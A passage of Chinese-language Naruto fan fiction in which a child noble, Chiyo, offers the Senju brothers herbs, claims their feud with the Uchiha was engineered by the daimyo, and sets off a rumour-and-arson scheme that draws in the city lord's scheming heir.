黑夫哎了一声,刚要安慰自己的恩人,千代这时候说:“你们是……宇智波的忍者?” 宇智波这个姓氏砸下来,别说是扉间了,就连柱间都没心情消沉了。扉间黑着脸下意识的吼道:“谁是阴险的宇智波了!” ——这是侮辱谁啊! 千代表情淡然的说:“嗯,那你们就是千手家的了。” 扉间/柱间:??? 扉间反应过来,眼神凌厉的看向千代:“你在诈我们?”故意说出宇智波这个姓氏,他们千手肯定会否认。 如果对方一开始问的是千手,扉间肯定不会承认的。毕竟……他现在是不想被认出来! 但既然已经被认出来了……脸是真的丢尽了! 扉间恶狠狠的瞪了一眼柱间。柱间尴尬的别开头,就是不敢看自己的弟弟。 千代:“我的手下说这名长头发男的是忍者,谁都知道这附近有宇智波和千手两大忍者家族,而这人也说过他不是第一次来赌场……其他家族的忍者应该不敢这么高调,不是宇智波,那就只能是千手。” 柱间:“……好有道理!”眼冒星光。 扉间已经气得没力气了,他一脚踹向了不省心的大哥:“谁让你多嘴的!”不仅被人知道是忍者,还被知道经常来这种赌场。 他现在已经确认了——千手家最大的败类,脸皮终结者就是面前这个混账千手柱间。 千手柱间笑嘻嘻的,就算被弟弟踹也不生气不还手,而是问千代:“你是自己推断出来的,那你好聪明啊,小姬君。”纯粹的哄孩子的语气。 但他脸上灿烂的笑容却很真挚。“没错,我们确实是千手家的。我叫千手柱间,不是长头发男人。这是我的弟弟千手扉间。姬君呢?” 千代:“千。” 见千代没说自己的姓氏,柱间的笑容也没变化,哎了一声说:“日安,千小姐。” “够了吧,我们该回去了,父亲在找你。”扉间想搬出父亲来让柱间乖乖的跟自己回去。 这个大哥是个喜欢交际的,但扉间不是。他是真的不想和这个奇怪的贵女有牵扯。 ——能够在城门口直接对仆人赐姓名的人,就算不是皇族也只会是麻烦的存在。 但并不意外的,柱间压根没听进去。而是问:“那千小姐等下是准备去哪里?我对这座城可是很熟悉的哦,什么玩的地方好吃的地方我都知道。而且,像您这样的姬君应该也需要两个忍者来护卫吧。” 扉间:? 他奇怪的看着自己的哥哥。不明白为什么对方会对这名贵女如此热情。但想到自家大哥正经起来还是很可靠的,可能是看出了一些自己不知道的东西,就保持沉默。 “比起玩乐……”千代指着不远处的一个甜品摊,“不如去那里吧,站在这里会影响到旁人出行。” “咦?”柱间愣了一下。 ——影响旁人? 这可真是新奇的话,倒不是这话有什么问题,只是这话从跋扈惯了的贵族口中说出来,让他有一种失真感,还伴随着新奇感。 虽说原先是打算去书店,但既然千代改变主意,黑夫和平安座沨自然不敢有意见。 五人去了对面的甜品摊,恰好现在摊位没有客人,只在摊位旁边并排放着两条凳子,一条坐着千手兄弟,一条则是坐着千代,黑夫和平安座沨都只是恭顺的站在她身后。 摊位老板战战兢兢的给他们各自上了两盘团子和三杯茶,就像是远离什么可怕东西的快步回到摊位前。若不是还顾着自己的摊子,老板估计更乐意跑得越远越好。 千代注意到这一点,心里毫无波澜。 过于阶级分明的时代,老板这种不敢惹事也不敢偷听他们聊天内容的样子反而有利于接下来的谈话。 甜品是很单调的面团子,很甜,茶则是很苦涩,恰好能冲淡嘴里的甜味。千代只是意思意思的吃了一个,连茶都没碰。 柱间就坦然得多了,他早就饿了,一口气吃掉了一盘的团子,还询问千代的还要不要吃。确定不要后,就把那盘子的团子包圆了。 千代目视前方,看着面前街道过往的路人,冷静淡然的模样不像是个普通的小女孩。她似乎是等扉间悄悄观察自己完了后,才道:“我有一座药山,想知道忍者有没有兴趣买下那些药材。” 柱间眨了眨眼,别说是扉间很吃惊,就连他都觉得自己耳朵似乎坏掉了:“我想想……如果我没听错的话,千小姐是想……卖药材?” 这是经商吧! 一个明显是贵女的人,竟然想经商!不说前所未有,简直闻所未闻! 贵族就算家里有药山,那也让别人去卖,他们可不会让这类铜臭生意弄脏自己的手。 别说这话是从一个成年男性贵族说出已经够惊人了,他们面前的可还是个小姬君!看起来连十岁都没有! 可偏偏对方的表情却是很坦然,就俩他们兄弟明显为此震惊,她的脸色也没有变过。 就像是——你们的情绪和想法与我无关。 千代:“我听说会有专门的商队给千手和宇智波家族卖药材。如果我卖给你们的是价格是他们要的三分之一,你们会买吗?” 说这话的时候,她总算是侧过头,看向了二人。 这回柱间和扉间没有再表现出讶异。柱间收敛了脸上的笑容,一本正经的看向了千代,眼神犀利的说:“如果千手不买,您会卖给宇智波吗?” 千代似乎觉得他这话有点奇怪,说:“宇智波的人很多吗?” “嗯?”柱间也没料到她会问这种问题。看她是在好奇,他道,“怎么也有三百多人吧。” 千代:“那千手家比宇智波人多?” 柱间:“也没有多很多,差不多?” 三百多个忍者,就算除掉不能上战场的幼儿和老人,剩下的也确实是不少了。如果不是战争的话,其实这个人口会更多。 要知道很多忍者家族人口加起来连五十个都没有。 千代看柱间的眼神就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像在看什么笨蛋:“你以为一座药山的产出是多少?别说区区三百人,就算你们两族加起来,也吃不下那些药材。” 柱间是个擅长将聊天主动权掌握在自己手上的人,这是他第一次无言以对。他嘴巴张了张,最后求助的看向了扉间。 扉间无奈的扯了扯嘴角说:“这位姬君,我想您应该知道,千手家和宇智波家是世仇。您既然想将药材卖给千手,为什么还想着也卖给宇智波?” 千代:“城里的商队也是这么做的,不是么?” 扉间被噎住,这事他也知道,但商队背后站着大名,只要不是当面说出来,他们会默契的当做不知道这件事。 有些事情只要不戳开,那就还可以当做不知道。 千代叹了一声,道:“你们可真奇怪。” 柱间觉得自己总算是找到能加入的话题了,就问了出来。千代说:“我是最近才来到这里的,对于千手和宇智波两家的渊源,觉得有些好奇。”她却是直接换了个话题。 千代:“既然你们两家是世仇,为什么你们的地盘会离得那么近,近到能让一个商队同时做两家的生意?” 柱间:“啊?你是想知道这个啊。”他也不用敬语了,道,“因为宇智波是后面来的,以前这附近只有千手家而已,他们原先是雷之国的。” ——‘雷之国’? 这还是千代第一次听到一个正经国家的名字。 既然宇智波原先是雷之国的,那也就她所处的这片领土,应该也是属于某个国家的。至于是什么国家…… “哦?”千代露出有点感兴趣的表情,问道,“那他们为什么大老远的搬到这里来?我听说千手和宇智波是世界上最强的两个实力相当的家族,你们完全可以在不同的两个国家发展壮大,为什么宇智波会放弃一家独大的雷之国,来到这里呢?” 扉间:“千手原先的对手不是宇智波。” 令人意外的是,这次回答的是扉间:“原先是羽衣一族,但羽衣一族不敌,雇佣他们的大名就去雷之国雇了宇智波,在羽衣一族没落搬离这里之前,千手是一力对抗着两个家族。宇智波现在的族地,是羽衣走了之后才搬过去的。” 故意搬到离千手近的地方。 千代:“……”也就是说,宇智波也没有传说中的那么独。他们起码还会和羽衣一族合作。 千代:“那雇佣羽衣和宇智波的,是哪国的大名?” 扉间站了起来,对千代说:“如果是好奇的话,我想到这里应该已经可以结束了。抱歉了姬君,我和兄长还有要事要做。” 他是准备走了,柱间看气氛不对劲,好歹没有再惹弟弟生气的意思,也是想起身离开。 千代却是道:“我想,我们待的这片土地,是处于雷之国……还有雇佣了羽衣和宇智波的另一个国家,你不想提及的大名之国的,两国交界处的……无主之地吧?” 扉间皱了皱眉,和柱间步伐不停的往前走。 但千代接下来的话还是通过他敏锐的耳力,传入了他的耳朵里。 ——“那你们就没有想过,千手和宇智波家族的恩怨,其实是一场来自大名之间的阴谋吗?” 柱间/扉间:?! 二人忍不住的扭过头,瞪大的双眼不可置信的看着说话的千代。 千代嘴角的笑意带着一点朦胧的,让人分辨不出深意的意味,她犹如叹息一般的说着:“所以我才说……你们很奇怪啊。明明拥有如此强大的实力,却被没有力量的普通人愚弄至此……世仇?明明是两把相同的刀,不去怪罪持刀的始作俑者,却互相怪对方的刀太过锋利……” 她的笑容带着一点玩味的,就像在看着不懂事的孩子胡闹一般的意味,说着:“不觉得这种仇恨,过于肤浅了么?” 她招来平安座沨,让对方将自己抱起来,俯视着站着的两个人,语气轻柔的说:“如果所谓的忍者都如你们这样容易操控的话,那这个世界,可真是乏味至极。” 她的眼里没有丝毫笑意,眼里也没有这对千手兄弟,就像是在看着更深远的远方,宣判结果一般的如此道。 带着一种淡淡的失望。 15.第 15 章 撇下原地怔愣的千手兄弟,她们去了书店。比起书店,这里更像是一个茶馆,一楼大厅还有专门的说书人在台子上讲故事。 黑夫:“这个故事小的之前来时听过,结局是作恶多端的地主被联合起来的苦主活活打死,钱和地也被他们分掉了。”他感叹道,“听起来可真是爽快啊。” 像这种恶有恶报的故事估计是很能吸引人的吧,台下的听众可谓是听得如痴如醉。 单纯作为消遣的话,确实是个不错的故事,而且通俗易懂,用词都很接地气,对听众没有门槛。 不过,黑夫说完又叹了口气,想着这种事也就只会出现在编造的故事里。 但很可惜,他面前的可不是什么可以探讨这个问题的对象,千代已经让平安座沨带自己去了二楼。 二楼摆着好几个书架子,看着不过十来岁的少年守着店,像是店长的中年男人则是趴在桌子上昏昏欲睡。 千代绕过了几个书架,就像是随意翻阅般的翻了一些本子之后,就直接下楼。 黑夫和平安座沨自然不敢有意见,就跟之前千代和千手兄弟谈论的内容一般,明明二人都听得很清楚,也没有问过哪怕一个字。 不需要教导,像这类‘不该问的事情别问’的事情他们似乎是无师自通的。 但在出了书店一段距离之后,千代微微叹了口气。对着两个紧张起来的人说:“如我想象那般,没有什么有价值的书。” 作为城里唯一的书店,书籍的数量可谓是少得可怜,里面绝大多数的书都是一些无病呻吟的小说传记,还有一些诗歌集。 像类似地理、历史、人文之类的全都没有,就连最基本的启蒙书也只是教导一些常见的文字,就跟。这个结果也不知道是书店老板的喜好问题,还是一种普遍现象。 但有一点可以肯定的是,读书被士族贵族垄断这种事,比她想象中的更加严重。 就连里面的一些小说故事,也都穿插着很多大幅的插图,比起故事书更像是漫画书连环画之类。 ——如果想更多了解这个世界,能找其他的渠道。 千代坐在平安座沨的手臂上,也不知道是有意还是无意,看向了城主府的位置。城主府是很好认的,在普遍是平层建筑物中,只有中心坐落着一栋五层楼的高楼,铺着黑瓦的三角屋顶,墙壁中心刻着一个应该是家徽的图案。 外墙是用平整的石头堆砌,看起来还有几分大气雄伟。 她只是看了一眼就收回视线,三人还没走出几步,就被拦住了——是千手兄弟。 千手柱间喘着粗气,他看起来就像是已经绕着城里跑了好几个来回一样,但千代认为他的疲累更多应该是精神上,而非身体上。 柱间张开双手,拦住了他们,而他身后的扉间面色凝重,呼吸平稳。 柱间喊道:“千小姐,关于之前您说的那些事,我——” 千代打断他的话:“需要多少?” 柱间:“哎?” 千代:“不是想买药材吗?你总得说说你们要的数量和品种。” 柱间愣了愣,连忙道:“不是,我的意思是——” “具体的数量还请等我们请示父亲之后才能决定。我们的父亲是千手家的族长千手佛间。”扉间上前几步,一把按住了柱间的肩膀,过大的力道直接让没有防备的柱间身体下沉。 他放在柱间肩膀上的手,力度大到让柱间都不敢再说话。扉间没有仰头看被平安座沨抱着的千代,而是面朝前方,微微抬眸的用一种不带任何攻击性的眼神仰视她。 就像是一种隐晦的示好方式。 看来刚才千代的话,确实给他的内心造成了极大的冲击。但千代只是点了点头说:“等你们决定好之后,去黑夫的店里签契约就行,不过到时候需要你们派人手自己去拿货。” 扉间动了动嘴唇,也不知道是想到了什么,他道:“您考虑得很周到。” 让千手家自己去拿货,而不是直接送到千手族地又或者是约定其他地方。而这个取货地点肯定不是在城里,很可能是对方口中的那个药山。 来时的时候扉间已经打听到了黑夫店的位置,也打听到了对方的一些事,据街坊说,定期会有人给黑夫送来山货,山货的品质很高,就连武士的家眷都会来购买,而且黑夫店里也会搭卖一些最常见的药草。 结合千代进城前没有看到有交通工具和其他随从,只有一个经常抱着她的婆子,那就说明那座药山……并不远。 从对方意向于在药山做买卖来看,这位姬君对他们并没有什么恶意。 倒不是扉间自大的认为千代肯定不会设陷阱埋伏他们,而是对家族的实力有认知。千手和宇智波的战斗是五五开没错,但对其他忍者家族可谓是碾压级别,寻常十来个忍者家族联合起来都奈何不了他们。 这位姬君年纪虽小,但看起来可不傻,没必要做无用功的埋伏。 千代点了点头,示意平安座沨继续走。与二人擦肩而过后,柱间刚要说些什么,又再一次被扉间强硬的按下。 扉间注视着三人的身影渐行渐远,才松开了按着柱间的手。柱间揉着肩膀,抱怨的道:“你为什么不让我说话,我有好多事想问问千小姐。” “她不会回答的。你如果问了,只会让对方厌烦你。”扉间不客气的说。 柱间不信:“你别小看我,这天底下还没有我交不到的朋友。” “就凭你?”扉间刚要怼他,似乎想到了什么的,按捺不住脾气的一脚踹在他的小腿上,“闭嘴。” 想起了阴险的宇智波。 他可是记得的,这个笨蛋大哥小时候还和宇智波的少族长成了朋友,瞒着家人处了好长一段时间,虽然后头因为两边族长的干涉而友谊破裂,但扉间一点都不想回想这件事。 再加上之前千代的话已经扰得他心烦意乱,更是…… 柱间眨了眨眼,说:“呐,扉间。这件事我们要不要告诉父亲?” 关于……他们跟宇智波成为世仇的原因是大名们的阴谋这件事。 柱间可能平日有些不着调,但在这种时候却格外的清醒:“我想过了,她说得很有道理,让我发现了一些以前没发现的事情。宇智波原本是在雷之国,我们两家没有什么交集,直到他们被火之国大名雇佣,和羽衣一族联手对抗我们……这么说也不正确,第一次开战的时候,他们背后是火之国大名,我们则是受到汤之国大名的雇佣……” 柱间皱着眉,语气低沉的说:“从那一次开始,双边都有死伤。后来羽衣离开了,宇智波却是全族搬迁了过来,随着战争越演越烈,不仅是火之国和汤之国,但凡大型的国家开战,肯定是双方分别雇佣我们和宇智波……打的仗越多,死的人就越多,仇恨就越积越深……但其实这样很没道理不是么?我们两族的仇恨……” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “你想和父亲说,这一切都是阴谋,我们千手家死在宇智波手里的那么多人,全都是白死,我们没有道理向宇智波复仇么?”扉间看着柱间的眼神,充满了杀气。 他道:“你敢这么对父亲说吗?你忘记了板间吗?他才八岁,被五名宇智波的成年人围攻致死……父亲原本可不只有我们两个儿子,他死了两个儿子。” 他们是四兄弟,板间是幼弟,前面还有一个七岁时被羽衣一族杀死的三弟。 柱间被刺痛了,眼里满是哀伤。“斑原本也有四个弟弟,和我一样,我们都只剩下一个弟弟。我以前和他聊过,我们都想守护自己的弟弟和家族,想建立一个能够将大家保护起来,让孩子们都能够健康长大的地方,建立一个和平的……” 然而扉间已经走远了,柱间连忙跟上去,说道:“扉间,难道你不想吗?我再也不想看到有熟悉的人离我——” “大哥。”扉间停下脚步。 柱间原本以为扉间会向平时一样跟他横眉竖眼,嘲笑他的天真。 和平? 这个世界数千年来,就没有和平过。持续了几千年的动乱时代,不说三岁的忍者需要拿起武器战斗,就连三岁的普通人都要去地里奔波。 可即便是那般努力的生存了,不管是忍者也好普通人也罢,甚至是高高在上的贵人……谁也不会料到明天谁会先死。 当战争已经成为常态之后,和平…… 和平这个词,如果不跟人掰碎了解释的话,都不知道这是什么意思。就跟臆想出来的梦境一样,就跟胡乱做梦时梦到的连发明这个词的本人都不知道具体是什么意思的……虚幻的词汇一样。 “你真的知道和平是什么吗?”扉间眼神疲惫的看着柱间,“就算你一再的跟我描绘你那个和平的理想的面貌,但是大哥……你真的知道你描述出来的那些,实际上是长什么样吗?你能想象出它的全貌吗?” 他说:“我不知道和平是什么样,你也不知道。所以不要拿不确定的事情来一而再,再而三的说服我……” 没有见过的东西,就算形容得再好也想象不出来。 没有创造的环境,就算形容得再好,也会被摆在面前的现实打败。 扉间敛下眼皮,低声说:“大哥,我现在真的很累,你让我安静一会吧。” 那位姬君说的到底是真是假,还没有定论。但是扉间……他觉得自己的心已经被彻底的扰乱,并不受控制的去往这个方向去想。 但是啊,但是谈何容易? 比起摆在面前的杀死自己弟弟的宇智波,远在天边的大名们,那么多国家的统治者们……更像是敌人。 像这种事情,何其……不让人心底发凉。稍微往这个方向想象一下,他甚至想象不到如果那位姬君说的是真的,那这些大名们的目的是什么? 他们不是敌对的么?不是每时每刻都想着蚕食别人的土地,扩大自己的国土吗?大名们不都是眼里只能看到领土和财富的吗? 那为什么,有什么理由,他们要联合起来对他们千手,对宇智波甚至是羽衣,甚至是其他的家族……做出这种事呢? 不合常理。 无法理解。 那么是谁在说谎?姬君在撒谎?那她的目的是什么? 可这真的是个谎言吗?不是谎言的话,又该如何破局? 一个接一个的问题,刺激得扉间大脑涨疼。 16.第 16 章 回到山货店里,千代交给了黑夫一个任务。 “你去找几个人,让他们去酒馆赌场和书店的茶馆散播‘商队的药材里有晒干的人心和人肝’‘他们用人骨磨成粉入药’的消息,然后让那几个人躲在贫民区里不要出现。在流言散播的第三天,我会让人烧掉他们的货物。” 黑夫欲言又止,千代:“有什么不解直接问,比起解释我的用意,我更烦自以为是瞎乱猜最后坏事的人。” 黑夫连忙应是,问道:“您散播流言这件事,小的还以为您是想通过传播不利于商队的谣言让他们陷入麻烦,好抢走他们和千手、宇智波的生意,但为什么要烧掉那些药材呢?” 在听到千代想卖药材给千手后,对方会说出陷害商队的不利流言的话,这一点还在黑夫的理解范围之内。 虽然因为商队背靠大名,以前没人敢这么做,但没人敢做不代表千代下命令后,黑夫不会去做。 毕竟他已经认对方为主,就算千代让他去执行危险的任务,黑夫也不会多做犹豫。但烧掉货物这一点,反倒是让他不理解。 “我要的不是他们的药材。”千代说道,“寨子里的药已经足够了。就算品种不齐,商队的药全部被烧毁了,忍者们也只能认栽。” 黑夫点了点头,表示懂了。他又说:“商队不会善罢甘休的,他们会抓住散播流言的人,认为是这些人烧掉了药材。而且……”他犹豫着,最后还是硬着头皮说,“小的认为散播流言对商队也没什么损失,对于那些人而言,平民的愤怒和惊惧……毫无作用。” 千代:“本来就是没有作用的事情。” 黑夫:“哎?” 千代:“散播流言,增加平民的恐惧情绪,本来就是无用功,但商队失去那么多药材后,对他们却是灭顶的灾难。他们顾不上抓什么散播流言的人。抓住散播流言或者烧掉药材的人对他们而言毫无用处,就算全部找到并将认为可疑的人全部杀死泄愤也好,都不能改变他们面临的困境——他们只会担心无法向千手和宇智波家交代,同时也无法给身后的大名交代。” 毕竟商队不过是中间商,这笔交易的两端其实是忍者家族和大名。面对这种情况,他们只会焦头烂额,根本顾不上去管什么流言和烧药材的人。 因为抓住这些人,并不能向交易的两方交代,都是无用功。 千代:“而出了这种事,城主也会很伤脑筋吧。作为一个交易的中转站,偏偏在他这里出了事,是他的治理出了问题,也会担心受到大名的苛责。而如果这个时候,有人及时提出了一个能解决问题的办法,城主肯定会欣喜如狂。” 黑夫听得云里雾里,看着千代的眼神是一片迷茫。但他还是竭力的想表现出自己是有听进去也有去思考理解,他说:“提出解决办法的人,是千大人您吗?” 千代勾起嘴角说道:“不是。我们这边只需要做我提出来的这两件事,其他的事情什么都不用做。” 她放柔了声线,就像是在哄小猫一般柔和的说:“我们什么都不用做。” 黑夫的效率很高,在千代交代后不过是一个小时的时间,他已经找到了三名合适的散播谣言的人选。 都是那种扔进人群中认不出来的人,而且都是成了家,家里有不少孩子,日子过得极为贫困的穷苦人。 如果是以前的话,黑夫遇到这种事情他会直接雇佣一些地痞无赖,这类人没有什么家庭拖累,目光短浅,只要给钱什么都敢做。 但似乎是从千代让他买有拖累的仆人那里得到了什么启发,他越过了那些地痞无赖,选择了家中负累多的人。地痞无赖一旦被抓住,可经不住一点拷打就会将他供出来,但后者的话,只要承诺如果出事了不要供出他,就会给他家里一笔钱,那这些人的嘴巴就会比河蚌还要严实。 传播流言的过程十分顺利,或许是因为去的都是人流比较多的地方,而且去的场所也有讲究。酒鬼、赌鬼都是嘴巴不严喜欢吹嘘的人,知道这种流言后,他们会像是炫耀‘我知道你们不知道的事情’那样恨不得告诉所有相识的人。 而茶馆里的人,听到这个流言之后态度就显得微妙。有不相信并提出质疑的人,也有听了也当做没听到的人,也有回去后跟家人说起来的人。 但不管怎么样,流言确实传播起来了。可流言传播的速度,却超乎黑夫所料。他前一天才安排的事情,第二天去早市买菜的时候,就发现早市里很多人都在提起这件事。 他们遮遮掩掩却又管不住嘴,恨不得和大家一起讨论的态度,更像是一种对猎奇事件的凑热闹心理。 ——就算是流言,也不该传播得这么快。 黑夫匆匆卖完菜就回去山货店和千代说起这件事。看他这副惊慌的模样,千代宽慰他:“不用在意,不过是有人帮忙散播了流言罢了。” 黑夫:“有人?是谁?” 千代:“我昨天跟你说过的,一个向城主献计的人。” 会有一个人处心积虑多年的人,代替他们完成剩下的事情。 ——他在找一个机会。 她只需要递给对方一个机会就行了。更别说对那个人而言,献计这种事再简单不过。一般人想见到城主是不可能的,但对那个人来说却不难。正确来说,将那个计谋送到城主面前,对他而言是再简单不过的事情。 毕竟能够专门请人写那么多劫富济贫,斩杀恶霸故事的人,还让人用口述的方式传播,更甚至书店里最醒目位置都摆放着同类型故事的连不识字的人都能轻松看懂的连环画,卖的价格还远低于纸张的成本价…… 这样砸重金的散播这样的消息,要说那个人没有点额外的心思是不可能的。 不过显然,那个人做的事情有点多。 在当天的下午,知道流言却没有任何态度,对流言不屑一顾的商队,却是突然张贴了告示,寻找杀害他们商队一名浪人的凶手,甚至城主都派兵开始在城里大肆的搜查,一副不抓到人誓不罢休的样子。 他们不抓散播流言的人,他们抓的是杀人犯。 ——商队的一名浪人死了,尸体浮在贯穿城内的河上,而且被开膛破肚,心和肝脏不翼而飞,死状极为凄惨。 据说这名浪人原本是昨晚去红灯区找乐子,服侍他的妓人和红灯区的守卫都表示对方在大约凌晨的时候就离开了那里,至少说明了人不是在红灯区出事,在里面也没有和人起什么冲突。 在毫无头绪之下,想要抓住凶手的可能性是很低的,但出事的人一名浪人,对方当时还带着刀,能够杀死他的人的身份就会被大幅度缩小。 ——浪人或者忍者。 只有这两类人才有本事杀死一名浪人。 或许是因为有街坊作证黑夫家这几天只是住进了两个女人,而且其中一个小女孩是名贵人的缘故,搜查的士兵很轻易就被黑夫打发掉了。 但千代在山货店里也听到了动静,他们在严查最近进城的人,还有 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但他的语气却很肯定:“这样的动静肯定会惊动到城内外的忍者,他们很擅长打听情报,关于商队药材里出现人的内脏和人骨制粉的流言……我们只需要让他们知道,受害者和凶手都是普通人就行了。” 城主嗤笑道:“你还特地派人去挖了一些坟墓,取出人骨塞进了商队的货物里面。你不怕这些动静也被那群怪物查到吗?你派人杀了那名浪人的事情,也不怕被查到吗?” 少城主:“就是为了让他们查到才这么做的。”他说道,“让忍者们知道,就算流言是真的,我们的态度也只是拼命的想要向他们证明一件事——我们不知道。不仅不知道,还用这种拙劣的方式想粉饰太平。” 他说:“就算流言是真的,商队的药材里真的有用忍者的尸体制作成肝脏和骨粉,也要将我们这个城与他们同流合污、知情而不作为的可能性从那群忍者的心中拔除掉。” 目的就是为了将他们城摘出来。那么就算是有矛盾,也是商队和忍者之间的矛盾。 城主目光冰冷的看着他,而少城主跪着的姿态已经有些摇摇欲坠。 少城主的身体确实很差,而之所以这么差的理由,城主心知肚明。后宅争风吃醋的阴私结果罢了,只是让城主没料到的是,这个原本以为已经废了的长子,以为中途会夭了的长子,却是他唯一一个活下来的儿子。 城主烦躁的挥了挥手让他退下,等少城主走了之后,他招来了护卫,询问孙子们在做些什么。 看起来会他早死的儿子,如今还沉迷一个男人,城主自然不可能将孙子们由他教导抚养,早早就接到身边来。 在听到孙子们是在认真学习后,城主轻哼了一声:“和他们老子一个样。” 他这个长子从小就是个勤奋刻苦的人。生出来的孩子也一个赛一个的努力刻苦。 但他的长子同样是个心狠无比的人,他杀死了自己所有的兄弟,而为了不让自己废掉他改立孙子,硬是等所有兄弟都死了,年近三十了才碰自己的姬妾。 如今城主最大的孙子,今年才八岁。而且身体也不好,倒是才三岁的小孙子和牛犊一样的强壮。 在这样的乱世,就算他下一秒死了,继位的也绝对不能是个还没长大的孩子。被夹在几个大国中央,被大名们视为忍者冢的这片无主之地,想在这里安稳的做一个城主,可不容易。 17.第 17 章 少城主回到了自己的宅邸,刚进入大门就见到有人来迎接他。一名穿着素色和服的男人,和站在他旁边的穿着亮色绸缎和服的女孩。 女孩今年九岁,是少城主的长女,也是唯一的女儿,名为幸子。她长得和少城主很像,尤其是体型,但她虽然胖,看起来气色却十分健康。而男人则是少城主的宠臣堪太,他在这个宅子的地位俨然与女主人没有区别。 少城主的正室和姬妾如今都在城主府隔壁的宅子里生活,并不与他住在一起。 让人惊讶的,被民间传言比女人还要美丽的堪太,是个长相寡淡平庸的男人,他的皮肤不能算多么白,只能算是不黑,双手也粗糙,上面残留着去不掉的茧。 堪太原本是家仆,他的祖辈世世代代都伺候城主家,谁也不明白为什么他会入了少城主的眼。 堪太脸上带着恬淡的笑意,跟幸子一起上前走到少城主面前。 在看到他们之后,少城主那冷硬的表情微微软化。 他牵着一大一小的手,慢慢的走进里屋,因为身体臃肿加上虚弱,就算只是跨过院子走近里屋的这段路,少城主也走得很慢,每走出几米都要停下来休息一下。 堪太与幸子见怪不怪,没有不耐烦也没有刻意的举止,看起来就像是走走停停是一件很正常的事情。 入了里屋后,堪太送来了湿毛巾给少城主擦汗,少城主擦完后开始询问幸子今天都做了什么。 琴棋书画和礼仪,这些都是作为一名贵女必须学习的课程,还有额外的插花、茶道、作诗等,也是必须学会的。 少城主就像是每一个疼爱孩子的父亲一样耐心的等幸子说完,然后说:“你学得很好,幸子。但这些都只是小道,你最重要的是向堪太学习取悦男人的本事。” 幸子看了眼跪坐在少城主侧旁的堪太,对于这名从去年开始就受到父亲宠爱的男人,幸子态度一般,但还是朝他微微点头。 堪太并没有因为幸子冷淡的态度而不悦,他笑容依旧是那么温柔,明明是很普通的长相,笑起来的样子却给人一种很舒服的感觉,不仅如此,他走路的姿势、说话的语气和神态,都柔和得像一阵微风。 幸子:“父亲大人,教导我的老师们说了,我必须精通这些功课才算是一名合格的贵女,而且,您不是说了要送我去火之国,成为火之国少主的侧室吗?为了能成为他的侧室,几乎花掉了所有的钱、大量的人力物力,让一个大官同意收养我为养女。” 她说:“如果我不精通这些课程的话,会惹大官不喜,就算成为少主侧室也会被瞧不起的吧。” “你错了。”少城主道,“你长得并不好看,幸子。你没有能够吸引男人迷恋你的美貌,你也没有学习上的天赋,不能靠这些得到他人的夸赞。但是,美丽终究会被岁月剥夺,就像是清晨绽放的鲜花夜晚也会凋谢。就算拥有书法大家、画家插花家那样高超的技艺,顶多就只能在重大的场合表演一下让男人脸面有光,除此之外,毫无用处。” 少城主:“女人有女人的优势,女人能够利用男人和自己生下的孩子,来理所当然合法合理的窃取掉男人的成果……所以,我教导你男人才会学的军事、政治上的事情,请人给你讲外面的事情,在处理政务的时候也会将你带在身边……” 他伸手,按住了幸子的肩膀:“我教导你这么多东西,而你能活用这个东西的基础,就是学习堪太如何讨男人的喜欢,让他们不在意你的外表和那些附庸风雅技艺上的拙劣,讨好你未来的夫君——火之国的少城主,让他的眼里有你的存在,然后生下至少两个儿子,保护好他们,让他们全心全意的依赖你,再扶持其中一个最听话的成为大名,生下越多越好的女儿,让她们嫁给大名或者有实权的贵族,成为你的助力……这些就是我作为父亲,希望你能在这个乱世安身享受安定富贵所寄予的希望。” 幸子似懂非懂的点头,少城主也不着急,让她下去后,又让人关上了门窗,只留下堪太一人在屋。 他躺在堪太的膝盖上,说起了今天在城主府里的事情。堪太是个完美的倾听者,他只会心疼的抚摸少城主的额头,用怜惜而鼓励的目光注视着他,让他平静下来。 少城主:“我已经有些等不及了,堪太。”他说,“父亲大人老了,他的心和他的身体一样老态龙钟,看不清眼前的形势。我有预感,我活不了太久了,父亲大人也好,城主府里的我的那两个儿子也好,还有那群被父亲大人控制起来用来控制我子女的姬妾也好……他们终将会和这座城一起消亡。” 堪太的动作一顿,他说:“大人,您真的这么认为的么?” 少城主:“当年火之国大名和雷之国大名联手,让宇智波搬到了这里,他们原本想让最强大的千手、宇智波和羽衣在互斗中灭亡,但羽衣先一步撤走,余下的千手和宇智波虽然依旧仇恨彼此,但他们更珍惜家族的人,即便大名们设计让他们开战,两家也都没有尽全力。” 他道:“大名们预想的,在十年之内三个家族都灭亡的计划,已经相当于破产。这两个家族还会继续存在至少十年,但这座城不会有十年……” 他缓慢的坐起身,看向了堪太:“我会在年底送幸子去火之国,你也跟她一起去,作为她的随从。等明年她嫁入大名府的时候,你就拿着我给你留下的钱,去过你想要的生活吧。但不要离幸子太远,像你这样的人,只有依靠贵族才能活。” 作为曾经的家仆之子,作为贱民,没有靠山是不行的。 少城主继续道:“这一代的火之国大名是个有作为的人,他的儿子也同样,我有预感,未来火之国将会是世界上最强大的国家。”所以他才会将唯一在意的后代和在意的堪太送去火之国。 就算那名大名之子比幸子大了整整二十岁,他也决定这么做。 堪太没有说话,只是用含泪的眼睛看着他。少城主叹息一声,躺在了地上说:“你出去吧,我先休息一会。” 少城主不等堪太离开就沉睡了过去,发出了如打雷一般的鼾声,声音之大让人忍不住想——这声音是不是下一秒就会断了。 听起来就像是残破的身体在这世间艰难的求生一般。 但少城主睡了,城里却没有安睡的时间。等少城主醒来的时候,他怔愣的询问前来报告的武士:“你是说……商队入住的宅子失火,连人带货全部都烧光了?” 武士表情凝重的道:“是天火。毫无预兆的烧了起来,那火怎么都扑不灭,商队的人就像是被厉鬼困住一样,一个人都没跑出来。” “荒谬!”少城主大怒,“那可是白天!什么天火什么鬼怪,你还不如说是忍者做的可信度还高一点!” 但再愤怒也无济于事,因为城主那边已经派人来请他过去。少城主咬着牙,出了一身虚汗的他甚至来不及换身衣服,就匆匆的往外赶。 在经过回廊的时候,看到了角落里站着的堪太。黑着脸的少城主脸上的厉色微微收敛,道:“在家里等我。” 他抛下这句话离开,却没有看到前一秒还在深情注视他的堪太,在他的身影消失在紧闭的大门之后,眼里只剩下一片寒凉。 “狼生不出羔羊。”他轻声说道,“幸子大人,您说是吗?” 旁边的屋子,纸门被慢慢的拉开,幸子没有走出来,拉开的门缝只能看到她的半边脸庞。 